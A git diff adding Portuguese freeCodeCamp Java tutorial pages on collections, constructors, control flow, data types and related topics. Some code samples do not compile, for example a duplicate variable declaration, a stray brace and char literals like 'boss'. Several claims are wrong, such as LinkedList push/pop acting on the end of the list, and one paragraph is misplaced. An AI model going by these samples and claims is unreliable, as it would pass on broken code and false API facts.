+ modelX.setManufacture("BMW"); 
+ // prints Tesla Model X 
+ System.out.println("Full Car Model X= " + modelX.getManufacturerName() + " : " + modelX.getName()); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJZP/0)
+
+Portanto, `Car` é uma classe que possui os campos ou propriedades `name` e `manufacturerName` . `modelS` é um objeto da classe `Car` . Então, o `modelS` também possui as mesmas propriedades e métodos.
+
+É praticamente normal garantir que as 'informações' do objeto, neste caso o `name` e `manufacturerName` variáveis `manufacturerName` , sejam privadas e sejam acessadas somente por meio desses getters e setters. Isso evita um problema com o código de depuração que envolve variáveis ​​de membro de um objeto. Se as variáveis ​​de membro forem tornadas públicas e, por qualquer motivo, o programa travar, você poderá obter um rastreamento de pilha bastante complexo, que pode ser difícil apontar o erro. Manter as variáveis ​​privadas e acessíveis apenas por meio de getters e setters simplificará essa mensagem de erro.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/collections/index.md b/client/src/guide/portuguese/java/collections/index.md
new file mode 100644
index 0000000000..31efb37efe
--- /dev/null
+++ b/client/src/guide/portuguese/java/collections/index.md
@@ -0,0 +1,125 @@
+---
+title: Collections
+localeTitle: Coleções
+---
+# Coleções
+
+Uma coleção em Java é um grupo de objetos que podem ser ordenados (LinkedList) ou desordenados (Set). A interface Collection está no topo da hierarquia e todas as outras classes e interfaces se estendem a partir dessa interface. Está localizado no pacote java.util.
+
+A interface Collection também estende a interface Iterable, o que significa que cada coleção em java deve ser iterável. Isso, por sua vez, significa que um loop for-each pode ser usado para buscá-los em uma sequência.
+
+```java
+public interface Collection<E> extends Iterable<E> 
+```
+
+Alguns dos métodos mais comuns fornecidos por essa interface são:
+
+```java
+boolean add(E e) // Adds the specified element to the collection if not present and returns true if this collection changed. 
+ 
+ void clear() // Removes all the elements from the collection. 
+ 
+ boolean contains(Object o) // Returns true if the specified element is in the collection else false 
+ 
+ boolean isEmpty() // Returns true if the collection is empty else false 
+ 
+ boolean remove(Object o) // Removes the specifies element and return true on successful removal else false. 
+ 
+ int size() // Returns number of items in the collection. 
+```
+
+Estes e vários outros métodos devem ser implementados por qualquer classe que implemente a interface Collection.
+
+## Interfaces que estendem a interface da coleção
+
+Outras interfaces importantes que estendem a interface de coleta são:
+
+Conjunto: Uma coleção contendo apenas elementos exclusivos.
+
+Fila: Implemente o comportamento da fila em que os elementos são adicionados apenas no início e removidos do final.
+
+Lista: Esta coleção lida com uma lista / seqüência de objetos.
+
+Essas quatro interfaces (Coleção, Conjunto, Fila, Lista) juntamente com SortedSet, Deque e NavigableSet formam a hierarquia coletiva da Coleção.
+
+# A classe LinkedList
+
+LinkedList é uma das classes de coleção mais importantes que fornece uma implementação de lista duplamente vinculada. Implementa as interfaces List, Deque, Cloneable e Serializable.
+
+**Crie um LinkedList**
+
+```java
+LinkedList<Integer> intList = new LinkedList<Integer>(); // Creates a new list of Integer objects. 
+```
+
+Você também pode criar uma lista de qualquer outro tipo de objeto. Por exemplo
+
+```java
+LinkedList<String> stringList = new LinkedList(); 
+ 
+ LinkedList<LinkedList<Integer>> listOfList = new LinkedList(); 
+```
+
+Nota: Todas as coleções em Java foram convertidas em tipos genéricos desde o JDK 1.5
+
+**Adicionar elementos à lista**
+
+```java
+intList.add(new Integer(1)); // Add 1 to the end. 
+ 
+ intList.add(2); // This works as Java provides autoboxing and unboxing of primitive datatypes and their respective wrapper classes 
+ 
+ intList.addFirst(3); // Add to the beginning of the list 
+ 
+ intList.addLast(2); // Add to the end of the list 
+ 
+ intList.add(2, 5); // Add element 5 at index 2 
+```
+
+Deixe-nos imprimir a lista
+
+```java
+System.out.println(intList); // toString() method is automatically called on the list 
+```
+
+Saída: \[3, 1, 5, 2, 2\]
+
+**Recuperar elementos da lista**
+
+```java
+intList.get(3); // Returns element at index 3 ie 2 
+ 
+ intList.getFirst(); // Get the first element ie 3 
+ 
+ intList.getLast(); // Returns last element ie 2 
+ 
+ intList.indexOf(2); // Returns first occured index of 2 ie 3 
+ 
+ intList.lastIndexOf(2); // Returns last occured index of 2 ie 4 
+```
+
+**LinkedList como uma pilha**
+
+Como o Java não fornece um
+
+```java
+intList.push(5); // Add element to the end of list. Works same as addLast() 
+ 
+ intList.pop(); // Removes and returns the last element of the list. 
+```
+
+**Remover elementos da lista**
+
+```java
+intList.remove(3); // Removes the element at index 3 of the list 
+ 
+ intList.removeFirst(); // Removes first element of the list 
+ 
+ intList.removeLast(); // Removes last element of the list 
+```
+
+Nota: Todos os métodos acima mencionados para remover e buscar um elemento retornam NoSuchElementException em uma lista vazia.
+
+#### Mais Informações:
+
+*   Fonte: [Documentação Java](https://docs.oracle.com/javase/9/docs/api/overview-summary.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/comments-in-java/index.md b/client/src/guide/portuguese/java/comments-in-java/index.md
new file mode 100644
index 0000000000..b8f40f9d60
--- /dev/null
+++ b/client/src/guide/portuguese/java/comments-in-java/index.md
@@ -0,0 +1,64 @@
+---
+title: Comments in Java
+localeTitle: Comentários em Java
+---
+## Comentários em Java
+
+Comentários em java são como post-its da vida real usados ​​para exibir algumas informações, que outros programadores ou desenvolvedores podem ler e entender.
+
+É recomendável adicionar comentários ao seu código, especialmente ao trabalhar com uma equipe ou empresa. Isso ajuda futuros desenvolvedores ou colegas de equipe a saberem o que está acontecendo com mais facilidade quando analisam seu código. Os comentários tornam seu código mais organizado e organizado.
+
+Comentários Java não são executados pelo compilador e pelo interpretador.
+
+### Tipos de comentários de Java
+
+#### 1\. Single Line Comment
+
+Para criar um comentário de linha única, basta adicionar duas barras `//` frente do texto.
+
+```java
+// This is how single line comment looks like 
+```
+
+#### 2\. Comentário de linha múltipla
+
+Para criar um comentário de várias linhas, coloque as linhas entre `/*` linha vai aqui `*/`
+
+```java
+public class MyFirstJava { 
+    public static void main(String[] args) { 
+    /* This Java Code 
+       Prints out "Hello world" 
+       and you are looking at a multi line comment 
+    */ 
+        System.out.println("Hello World"); 
+    } 
+ } 
+```
+
+#### 3\. Documentação Comentário
+
+O comentário da documentação é usado pela ferramenta Javadoc para criar documentação para o código. Comentários de documentação são usados ​​pelos desenvolvedores para documentar códigos, como o que uma classe faz ou o que um método faz. Isso é usado por uma ferramenta javadoc que irá compilar um conjunto pré-formatado de arquivos html contendo todas as informações disponíveis no comentário.
+
+```java
+/** 
+ * The Following Java program displays a random between 0 - 50 
+ * Most Developer dont document simple program like this 
+ * 
+ * @author      Quincy Larson 
+ * @version     1.0 
+ */ 
+ 
+ public class RandomNumbers{ 
+    public static void main(String[] args) { 
+        int random = (int)(Math.random() * 50 + 1); 
+        System.out.println("Hello World"); 
+    } 
+ } 
+```
+
+#### Mais Informações:
+
+*   [Recursos Java](http://guide.freecodecamp.org/java/resources/)
+    
+*   [Exemplo de Javadoc Compilado](https://docs.oracle.com/javase/8/docs/api/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/constructors/index.md b/client/src/guide/portuguese/java/constructors/index.md
new file mode 100644
index 0000000000..b6517586b9
--- /dev/null
+++ b/client/src/guide/portuguese/java/constructors/index.md
@@ -0,0 +1,181 @@
+---
+title: Constructors
+localeTitle: Construtores
+---
+Se um objeto copia de uma classe, qual é o objetivo? Eu deveria ser capaz de armazenar os dados, certo?
+
+É quando usamos métodos **getter** (por exemplo, getName ()) / **setter** (por exemplo, setName ()) ou, neste caso, construtores, para inicializar uma classe. Basicamente, toda classe Java possui um construtor que é o método chamado primeiro quando qualquer objeto da classe é inicializado. Pense nisso como um pouco de código inicial.
+
+Quando você escreve uma classe sem nenhum construtor, o compilador Java cria um construtor padrão:
+
+```java
+public class Car { 
+    private String name; 
+ } 
+ 
+ Car modelS = new Car(); 
+```
+
+Esta inicialização sem parâmetros é uma maneira de chamar o construtor padrão. Você também pode ter um construtor padrão escrito desta maneira:
+
+```java
+public class Car { 
+    private String name; 
+ 
+    // User Specified Default Constructor 
+    public Car() { 
+        name = "Tesla"; 
+    } 
+ } 
+```
+
+Em seguida, ao chamar `new Car()` , o `name` da variável será inicializado automaticamente como "Tesla" para essa instância do objeto Car.
+
+Claramente, os construtores são exatamente como soam: eles são usados ​​para `construct` , isto é, instanciar um objeto de uma classe particular.  
+Os construtores são semelhantes às declarações de método, mas são ligeiramente diferentes no sentido de que eles:
+
+1.  São nomeados exatamente da mesma maneira que a classe.
+2.  Não tem um tipo de retorno.
+
+Portanto, o propósito de usar `constructors` é fornecer:
+
+1.  Uma maneira de instanciar um objeto.
+2.  Forneça valores iniciais para as propriedades de um objeto.
+3.  Controle como um objeto é criado.
+
+Vamos ver outro exemplo. Digamos, a Honda (fabricante de automóveis), quer que todos os seus carros sejam chamados `Honda <a name>` . Para reforçar isso, podemos representar isso usando uma classe da seguinte maneira:
+
+```java
+public class Car { 
+ 
+    private String name; 
+ 
+    // Constructor. 
+    public Car(String model){ 
+        this.name = "Honda " + model; 
+    } 
+ 
+    public String getName(){ 
+        return this.name; 
+    } 
+ 
+    public static void main(String args[]){ 
+        Car car = new Car("Civic"); 
+        System.out.println( car.getName() ); 
+    } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CTJ4/1)
+
+Observe que, quando escrevemos um construtor dessa maneira, ou seja, fornecendo um parâmetro, estamos controlando (ponto no. 3) a maneira como uma instância de `Car` é criada. Resumindo, estamos dizendo neste exemplo que **você DEVE fornecer um nome de modelo para obter uma instância da classe Car** .
+
+Por que isso é importante? Há momentos em que você deseja `one and only one` instância de uma classe para uso em todo o aplicativo. Uma maneira de conseguir isso é usando um construtor `private` .
+
+Suponha que você precise de uma aula para representar um banco. Você não gostaria que as pessoas criassem uma instância do `Bank` . Então, você projeta sua classe:
+
+```java
+public class Bank { 
+ 
+    private static Bank instance; 
+ 
+    private Bank(){ 
+    } 
+ 
+    public static Bank getInstance(){ 
+        if(null == instance){ 
+            instance = new Bank(); 
+        } 
+        return instance; 
+    } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CTJz/0)
+
+Observe que o construtor é `private` . Isso impõe o fato de que ninguém mais tem permissão para criar uma instância do Banco.  
+De fato, se em outra classe, você tentar:
+
+```java
+Bank account = new Bank(); // Throws a compilation error: Bank() has private access in Bank. 
+```
+
+Assim, a única maneira de obter acesso à instância é usando `Bank.getInstance()` . Essas instâncias são chamadas `Singleton` pois você obtém exatamente uma instância (por VM, para ser mais precisa) durante a vida útil do seu aplicativo.
+
+Pode haver muitos números de construtores em uma classe. Mas eles devem diferir nos parâmetros do método. Isto é Sobrecarga de Construtor. Para ser preciso, dizemos que a sobrecarga do construtor ocorreu quando há dois ou mais construtores com o mesmo nome, mas diferentes parâmetros de método. Como resultado, as duas funções possuem assinaturas de métodos diferentes e são tratadas por Java como construtores diferentes inteiramente. Por exemplo:
+
+```java
+public class Car { 
+ 
+    private String name; 
+    private String carType; 
+ 
+    // Constructor. 
+    public Car(){ 
+        this.name = "No Name"; 
+        this.carType = "No Type"; 
+    } 
+    public Car(String model){ 
+        this.name = "Honda " + model; 
+    } 
+ 
+    public Car(String model, String carType){ 
+        this.name = model; 
+        this.carType = carType; 
+    } 
+ 
+    public String getName(){ 
+        return this.name; 
+    } 
+ 
+    public String getCarType(){ 
+        return this.name; 
+    } 
+ 
+    public static void main(String args[]){ 
+        Car car = new Car("Civic"); 
+        System.out.println( car.getName() ); 
+ 
+        // Other Way To Initialize 
+        Car car = new Car("Civic","Sedan"); 
+        System.out.println( car.getName() + " "+ car.getCarType() ); 
+ 
+    } 
+ } 
+```
+
+Assim, a única maneira de obter acesso à instância é usando `Bank.getInstance()` . Essas instâncias são chamadas `Singleton` pois você obtém exatamente uma instância (por VM, para ser mais precisa) durante a vida útil do seu aplicativo.
+
+## Construtor de cópia
+
+O construtor de cópia é um construtor que cria um objeto, inicializando-o com um objeto da mesma classe, que foi criada anteriormente. O construtor de cópia é usado para
+
+1.  Inicialize um objeto de outro do mesmo tipo.
+2.  Copie um objeto para passá-lo como um argumento para uma função.
+3.  Copie um objeto para retorná-lo de uma função. Aqui está um programa que mostra um uso simples do construtor de cópia:
+
+```Java
+class Complex { 
+ 
+    private double re, im; 
+ 
+    // A normal parametrized constructor 
+    public Complex(double re, double im) { 
+        this.re = re; 
+        this.im = im; 
+    } 
+ 
+    // Copy constructor 
+    Complex(Complex c) { 
+        System.out.println("Copy constructor called"); 
+        re = c.re; 
+        im = c.im; 
+    } 
+ 
+    } 
+ } 
+```
+
+[execute o código completo](https://repl.it/MwnJ)
+
+// ## Constructor Chaining
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/control-flow/index.md b/client/src/guide/portuguese/java/control-flow/index.md
new file mode 100644
index 0000000000..26b8179063
--- /dev/null
+++ b/client/src/guide/portuguese/java/control-flow/index.md
@@ -0,0 +1,111 @@
+---
+title: Control Flow
+localeTitle: Controle de fluxo
+---
+# Controle de fluxo
+
+As instruções de fluxo de controle são exatamente o que o termo significa. São instruções que alteram o fluxo de execução com base em decisões, loops e ramificações para que o programa possa executar blocos de código condicionalmente.
+
+Primeiramente, Java possui as seguintes construções para controle de fluxo:
+
+*   `if`
+    
+    ```java
+    if( <expression that results in a boolean> ){ 
+        //code enters this block if the above expression is 'true' 
+     } 
+    
+    ```
+    
+*   `if...else`
+    
+    ```java
+    if( <expression that results in a boolean> ){ 
+        //execute this block if the expression is 'true' 
+     } else{ 
+        //execute this block if the expression is 'false' 
+     } 
+    
+    ```
+    
+*   `switch`
+    
+
+Switch é uma alternativa para a construção `if...else` quando houver vários valores e casos para verificar.
+
+```java
+switch( <integer / String / Enum > ){ 
+    case <int/String/Enum>: 
+        <statements> 
+        break; 
+    case <int/String/Enum>: 
+        <statements> 
+        break; 
+    default: 
+        <statements> 
+ } 
+```
+
+Nota: O fluxo do programa `falls through` no próximo `case` se a instrução de `break` estiver faltando. Por exemplo, digamos que você diga o padrão 'Olá' para todos no escritório, mas você é mais gentil com a garota que senta ao seu lado e soa irritada com seu chefe. A maneira de representar seria algo como:
+
+```java
+switch(person){ 
+    case 'boss': 
+        soundGrumpy(); 
+        break; 
+    case 'neighbour': 
+        soundExtraNice(); 
+        break; 
+    case 'colleague': 
+        soundNormal(); 
+        break; 
+    default: 
+        soundNormal(); 
+ } 
+```
+
+```
+Note: The `default` case runs when none of the `case` matches. Remember that when a case has no `break` statement, it `falls through` to the next case and will continue to the subsequent `cases` till a `break` is encountered. Because of this, make sure that each case has a `break` statement. The `default` case does not require a `break` statement. 
+```
+
+*   `nested statements`
+
+Qualquer um dos fluxos de controle anteriores pode ser aninhado. O que significa que você pode ter aninhado `if` , `if..else` e `switch..case` . isto é, você pode ter qualquer combinação dessas declarações dentro da outra e não há limitação para a profundidade do `nesting` .
+
+Por exemplo, vamos considerar o seguinte cenário:
+
+*   Se você tem menos de 25 dólares, você consegue uma xícara de café.
+*   Se você tem mais de 25 dólares, mas menos de 60 dólares, você tem uma refeição decente.
+*   Se você tem mais de 60 dólares, mas menos de 100, você obtém uma refeição decente junto com um copo de vinho.
+*   No entanto, quando você tem mais de 100 dólares, dependendo de quem você é, você quer ir para um jantar à luz de velas (com sua esposa) ou você vai para um bar de esportes (com seus amigos).
+
+Uma das maneiras de representar isso será:
+
+```java
+int cash = 150; 
+ String company = "friends"; 
+ 
+ if( cash < 25 ){ 
+    getCoffee(); 
+ } else if( cash < 60 ){ 
+    getDecentMeal(); 
+ } else if( cash < 100 ){ 
+    getDecentMeal(); 
+    getGlassOfWine(); 
+ } else { 
+    switch(company){ 
+        case "wife": 
+            candleLitDinner(); 
+            break; 
+        case "friends": 
+            meetFriendsAtSportsBar(); 
+            break; 
+        default: 
+            getDecentMeal(); 
+    } 
+ } 
+```
+
+Neste exemplo, `meetFriendsAtSportsBar()` será executado.
+
+![:rocket:](https://forum.freecodecamp.org/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJZi/1)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/data-abstraction/index.md b/client/src/guide/portuguese/java/data-abstraction/index.md
new file mode 100644
index 0000000000..20bfd91a6e
--- /dev/null
+++ b/client/src/guide/portuguese/java/data-abstraction/index.md
@@ -0,0 +1,16 @@
+---
+title: Data Abstraction
+localeTitle: Abstração de dados
+---
+## Definição
+
+Conforme o dicionário, a abstração é a qualidade de lidar com idéias e não com eventos.
+
+Da mesma forma em programação orientada a objetos, abstração é um processo de ocultar os detalhes de implementação do usuário, apenas a funcionalidade será fornecida ao usuário. Em outras palavras, o usuário terá as informações sobre o que o objeto faz em vez de como ele faz isso.
+
+Em Java, a abstração é obtida usando classes e interfaces abstratas.
+
+## Recursos
+
+[Tutorials Point - Classes e Interfaces Java Abstract](https://www.tutorialspoint.com/java/java_abstraction.htm)  
+[Tutoriais Java - Métodos e classes Java Abstract](https://docs.oracle.com/javase/tutorial/java/IandI/abstract.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/data-types/index.md b/client/src/guide/portuguese/java/data-types/index.md
new file mode 100644
index 0000000000..c6bb1cf266
--- /dev/null
+++ b/client/src/guide/portuguese/java/data-types/index.md
@@ -0,0 +1,206 @@
+---
+title: Data Types
+localeTitle: Tipos de dados
+---
+# Tipos de dados
+
+Java é uma linguagem fortemente tipada. Isso significa que, em Java, cada tipo de dados possui sua própria definição estrita. Não há conversões implícitas de tipo de dados quando ocorrem conflitos entre os tipos de dados. Qualquer alteração nos tipos de dados deve ser explicitamente declarada pelo programador.
+
+Java define oito tipos de dados primitivos: `byte` , `short` , `int` , `long` , `char` , `float` , `double` e `boolean` .
+
+Eles são divididos nas seguintes categorias:
+
+*   Inteiros
+*   Números de ponto flutuante
+*   Personagens
+*   Tipo booleano
+
+Os detalhes de cada um dos tipos de dados são fornecidos abaixo:
+
+## Inteiros:
+
+Estes são de quatro tipos: `byte` , `short` , `int` , `long` . É importante notar que estes são valores positivos e negativos assinados. Inteiros assinados são armazenados em um computador usando [o complemento de 2](http://www.ele.uri.edu/courses/ele447/proj_pages/divid/twos.html) . Consiste em valores negativos e positivos, mas em diferentes formatos como `(-1 to -128)` ou `(0 to +127)` . Um inteiro não assinado pode conter um valor positivo maior e nenhum valor negativo como `(0 to 255)` . Ao contrário do C ++, não há nenhum inteiro sem sinal em Java.
+
+### byte:
+
+O tipo de dados de byte é um inteiro de complemento de dois bits assinado de 8 bits.
+```
+Wrapper Class: Byte 
+ 
+ Minimum value: -128 (-2^7) 
+ 
+ Maximum value: 127 (2^7 -1) 
+ 
+ Default value: 0 
+ 
+ Example: byte a = 10 , byte b = -50; 
+```
+
+### baixo:
+
+Tipo de dados curto é um inteiro de complemento de dois de 16 bits assinado.
+```
+Wrapper Class: Short 
+ 
+ Minimum value: -32,768 (-2^15) 
+ 
+ Maximum value: 32,767 (2^15 -1) 
+ 
+ Default value: 0. 
+ 
+ Example: short s = 10, short r = -1000; 
+```
+
+### int:
+
+O tipo de dados int é um inteiro de complemento de dois de 32 bits assinado. Geralmente, ele é usado como o tipo de dados padrão para valores integrais, a menos que haja uma preocupação com a memória.
+```
+Wrapper Class: Integer 
+ 
+ Minimum value: (-2^31) 
+ 
+ Maximum value: (2^31 -1) 
+ 
+ The default value: 0. 
+ 
+ Example: int a = 50000, int b = -20 
+```
+
+### longo:
+
+O tipo de dados longo é um inteiro de complemento de dois com sinal de 64 bits.
+```
+Wrapper Class: Long 
+ 
+ Minimum value: (-2^63) 
+ 
+ Maximum value: (2^63 -1) 
+ 
+ Default value: 0L. 
+ 
+ Example: long a = 100000L, long b = -600000L; 
+ 
+ By default all integer type variable is "int". So long num=600851475143  will give an error. 
+ But it can be specified as long by appending the suffix L (or l) 
+```
+
+## Ponto flutuante:
+
+Estes também são chamados números reais e são usados ​​para expressões que envolvem precisão fracionária. Estes são de dois tipos: `float` , `double` . A flutuação é realmente evitada no caso de dados precisos, como dados de moeda ou pesquisa.
+
+### flutuador:
+
+O tipo de dados float é um [ponto flutuante IEEE 754 de](http://steve.hollasch.net/cgindex/coding/ieeefloat.html) 32 bits de precisão simples.
+```
+Wrapper Class: Float 
+ 
+ Float is mainly used to save memory in large arrays of floating point numbers. 
+ 
+ Default value: 0.0f. 
+ 
+ Example: float f1 = 24.5f; 
+ 
+ The default data type of floating-point number is double. So float f = 24.5 will introduce an error. 
+ However, we can append the suffix F (or f) to designate the data type as float. 
+```
+
+### em dobro:
+
+O tipo de dado duplo é um [ponto flutuante IEEE 754 de](http://steve.hollasch.net/cgindex/coding/ieeefloat.html) 64 bits e precisão dupla. Esse tipo de dados geralmente é a opção padrão. Esse tipo de dados nunca deve ser usado para valores precisos, como moeda.
+```
+Wrapper Class: Double 
+ 
+ This data type is generally used as the default data type for decimal values. 
+ 
+ Default value: 0.0d. 
+ 
+ Example: double d1 = 123.400778; 
+```
+
+## Personagem:
+
+Usamos esse tipo de dados para armazenar caracteres. Isso não é o mesmo que o char em C / C ++. Java usa um `UNICODE` , conjunto de caracteres aceito internacionalmente. Char em Java tem 16bits, enquanto que em C / C ++ é 8bits.
+```
+Wrapper Class: Character 
+ 
+ Minimum value: '\u0000' (or 0). 
+ 
+ Maximum value: '\uffff' (or 65,535). 
+ 
+ Default value: null ('\u0000'). 
+ 
+ Example: char letterA ='a'; 
+```
+
+## Boleano:
+
+Isso é usado para armazenar valores lógicos. Um tipo booleano pode ter um valor verdadeiro ou falso. Esse tipo geralmente é retornado por operadores relacionais.
+```
+There are only two possible values: true and false. 
+ 
+ Wrapper Class: Boolean 
+ 
+ This data type is used for simple flags that track true/false conditions. 
+ 
+ Default value is false. 
+ 
+ Example: boolean b = true, boolean b1 = 1(this is not possible in java and give incompatible type error), boolean b2; 
+```
+
+## Tipos de dados de referência:
+
+Além dos tipos de dados primitivos, existem variáveis ​​de referência criadas usando construtores de classes diferentes. Variáveis ​​de referência são usadas para qualquer classe, assim como array, String, Scanner, Random, Die, etc. As variáveis ​​de referência são inicializadas usando a nova palavra-chave.
+
+Exemplo:
+
+```java
+public class Box{ 
+ 
+    int length, breadth, height; 
+ 
+    public Box(){ 
+        length=5; 
+        breadth=3; 
+        height=2; 
+    } 
+ } 
+ 
+ class demo{ 
+ 
+    public static void main(String args[]) { 
+        Box box1 = new Box();                //box1 is the reference variable 
+        char[] arr = new char[10];           //arr is the reference variable 
+    } 
+ } 
+```
+
+## Corda:
+
+String não é um tipo de dados primitivo, mas permite armazenar vários tipos de dados de caractere em uma matriz e possui vários métodos que podem ser usados. É muito comum quando o usuário digita dados e você tem que manipulá-los.
+
+No exemplo abaixo, tentamos remover todas as letras da string e enviá-las:
+
+```java
+String input = "My birthday is 10 January 1984 and my favorite number is 42"; 
+ String output = ""; 
+ 
+ for(int i=0;i<input.length();i++){ 
+ 
+ //if the character at index i on the string is a letter or a space, move on to the next index 
+ if(Character.isLetter(input.charAt(i)) || input.charAt(i)==' '){ 
+ 
+    continue; 
+ } 
+ 
+ output = output + input.charAt(i); //the number is added onto the output 
+ 
+ } 
+ 
+ System.out.println(output); 
+```
+
+Saída:
+```
+10198442 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/defining-attributes/index.md b/client/src/guide/portuguese/java/defining-attributes/index.md
new file mode 100644
index 0000000000..1a6f564f98
--- /dev/null
+++ b/client/src/guide/portuguese/java/defining-attributes/index.md
@@ -0,0 +1,50 @@
+---
+title: Defining Attributes
+localeTitle: Definindo Atributos
+---
+## Definindo Atributos
+
+Uma classe tem atributos e métodos. Os atributos são basicamente variáveis ​​dentro de uma classe.
+
+**_Exemplo:_**
+
+```java
+public class Vehicle { 
+  int maxSpeed; 
+  int wheels; 
+  String color; 
+ 
+  void horn() { 
+    System.out.println("Beep beep!"); 
+  } 
+ } 
+```
+
+`maxSpeed` , `wheels` e `color` são todos atributos da nossa classe Vehicle e o `horn()` é o único método.
+
+### Criando Objetos
+
+Podemos criar vários objetos de nossa classe Vehicle e usar a sintaxe de ponto para acessar seus atributos e métodos.
+
+```java
+class MyClass { 
+  public static void main(String[] args) { 
+    Vehicle v1 = new Vehicle(); 
+    Vehicle v2 = new Vehicle(); 
+    v1.color = "red"; 
+    v2.horn(); 
+  } 
+ } 
+```
+
+### Modificadores de visibilidade
+
+No exemplo do veículo acima, os atributos são declarados sem um modificador de visibilidade (por exemplo, público, privado ou protegido). Quando nenhum modificador é incluído em uma delaração de atributo, o padrão é algo chamado "pacote privado", o que significa que o atributo pode ser acessado diretamente usando o "." notação de ponto por qualquer outra classe dentro do mesmo pacote.
+
+variáveis ​​'públicas' podem ser acessadas de qualquer classe Variáveis ​​'protected' podem ser acessadas por qualquer classe dentro do mesmo pacote, bem como por subclasses em qualquer outro pacote que tenha relacionamento pai / filho. variáveis ​​'privadas' só podem ser acessadas de dentro da classe onde são declaradas Os membros do 'pacote privado' podem ser acessados ​​pelas classes no mesmo pacote
+
+'público', variáveis, métodos, construtores e classes (apenas um) podem ser declarados como públicos. 'protected', variáveis, métodos e construtores podem ser declarados como privados, mas não as classes e interfaces. 'private', variáveis, métodos e construtores podem ser declarados como privados, mas não as classes e interfaces. 'default', variáveis, métodos, construtores e classes podem ser do tipo padrão (declarado por não escrever nada).
+
+#### public> protected> default> private (com base na facilidade de acessibilidade)
+
+Em geral, é uma boa ideia tornar todos os atributos de uma classe privados e controlar o acesso a eles por meio do uso dos métodos "getter" e "setter".
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/equality/index.md b/client/src/guide/portuguese/java/equality/index.md
new file mode 100644
index 0000000000..266db9ca94
--- /dev/null
+++ b/client/src/guide/portuguese/java/equality/index.md
@@ -0,0 +1,64 @@
+---
+title: Checking for Equality
+localeTitle: Verificando Igualdade
+---
+# Verificando Igualdade
+
+Em Java, existem duas maneiras de verificar se duas variáveis ​​são "mesmas": `==` e `.equals()` . Esses dois métodos não funcionam da mesma maneira.
+
+## O operador `==`
+
+A operação básica de igualdade em Java, `==` como em `var1 == var2` , verifica se `var1` e `var2` apontam para a mesma _referência de objeto_ . Ou seja, se `var1` for a mesma _instância_ de uma classe na memória que `var2` , então `var1 == var2` é true.
+
+No entanto, se `var1` e `var2` forem criados como duas instâncias separadas de uma classe (isto é, com a `new` palavra-chave), então `var1 == var2` será falso. Mesmo que os dois objetos contenham exatamente as mesmas propriedades e valores, a comparação `==` não passaria porque eles não estão apontando para o mesmo objeto na memória.
+
+Para tipos de variáveis ​​primitivas, como `int` e `double` , o operador `==` sempre pode ser usado para verificar a igualdade, pois seus valores são armazenados diretamente com a variável (em vez de como referência a outro slot na memória).
+
+```java
+int var1 = 1; 
+ int var2 = 1; 
+ System.out.println(var1 == var2) // true 
+ 
+ MyObject obj1 = new MyObject(); 
+ MyObject obj2 = obj1; 
+ MyObject obj3 = new MyObject(); 
+ 
+ System.out.println(obj1 == obj2) // true 
+ System.out.println(obj1 == obj3) // false 
+ System.out.println(obj2 == obj3) // false 
+```
+
+## O método `.equals()`
+
+A classe de `Object` interna em Java, que todas as outras classes estendem automaticamente, contém vários métodos internos úteis. Um desses métodos é `equals()` , que usa outro objeto como argumento e retorna se os dois objetos devem ser considerados "iguais" de acordo com a lógica relevante para essa classe.
+
+A classe 'String' é um dos exemplos mais comuns de uma classe que substitui o método 'equals ()'. Ao comparar duas 'String's para igualdade, você precisa usar o método' equals () ', já que' == 'não funcionará como você espera.
+
+```java
+String s1 = "Bob"; 
+ String s2 = "ob"; 
+ s2 = "B" + s2; //s2 now is also "Bob" 
+ System.out.println(s1 == s2); //false 
+ System.out.println(s1.equals(s2)); //true 
+```
+
+Quando você cria uma nova classe em Java, geralmente deseja substituir o método `equals()` para fornecer uma maneira mais significativa de comparar dois objetos da mesma classe. Como este método é implementado é completamente para o julgamento do desenvolvedor.
+
+Por exemplo, você pode decidir que duas `Person` devem ser consideradas "iguais" se seu `name` e data de `dateOfBirth` forem iguais. Essa lógica seria implementada no método `equals()` da sua classe `Person` :
+
+```java
+public class Person { 
+    public String name; 
+    public Date dateOfBirth; 
+ 
+    public boolean equals(Person person) { 
+        return this.name.equals(person.name) && this.dateOfBirth.equals(person.dateOfBirth); 
+    } 
+ } 
+```
+
+A maioria das classes internas em Java, bem como as classes fornecidas por bibliotecas populares, implementarão o método `equals()` maneira significativa.
+
+Por exemplo, o `java.util.Set` interface especifica que um `Set` de `equals()` método irá retornar true se "o objeto especificado é também um conjunto, os dois conjuntos têm o mesmo tamanho, e todos os membros do conjunto especificado está contido neste conjunto ".
+
+No entanto, se uma classe não substituir a implementação `equals()` padrão, será aplicada a implementação padrão, que simplesmente usa o operador `==` para comparar os dois objetos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/final-keyword/index.md b/client/src/guide/portuguese/java/final-keyword/index.md
new file mode 100644
index 0000000000..9b3cad0af9
--- /dev/null
+++ b/client/src/guide/portuguese/java/final-keyword/index.md
@@ -0,0 +1,60 @@
+---
+title: Final
+localeTitle: Final
+---
+## final
+
+Você usa a palavra-chave `final` para marcar uma constante variável, de modo que ela possa ser atribuída apenas uma vez. Então você deve inicializar uma variável final com um valor. Se não for inicializado (quando declarado, dentro de Construtor ou dentro de blocos estáticos), ocorrerá erro de tempo de compilação.
+
+**_Exemplo:_**
+
+```java
+class MyClass { 
+  public static final double PI = 3.14; 
+  public static void main(String[] args){ 
+    System.out.println(PI); 
+  } 
+ } 
+```
+
+PI é agora uma constante. Qualquer tentativa de atribuir um valor a ele causará um erro.
+
+* * *
+
+Se você fizer qualquer método como final, você não poderá sobrescrevê-lo.
+
+```java
+class Bike{ 
+  final void run(){System.out.println("running");} 
+ } 
+ 
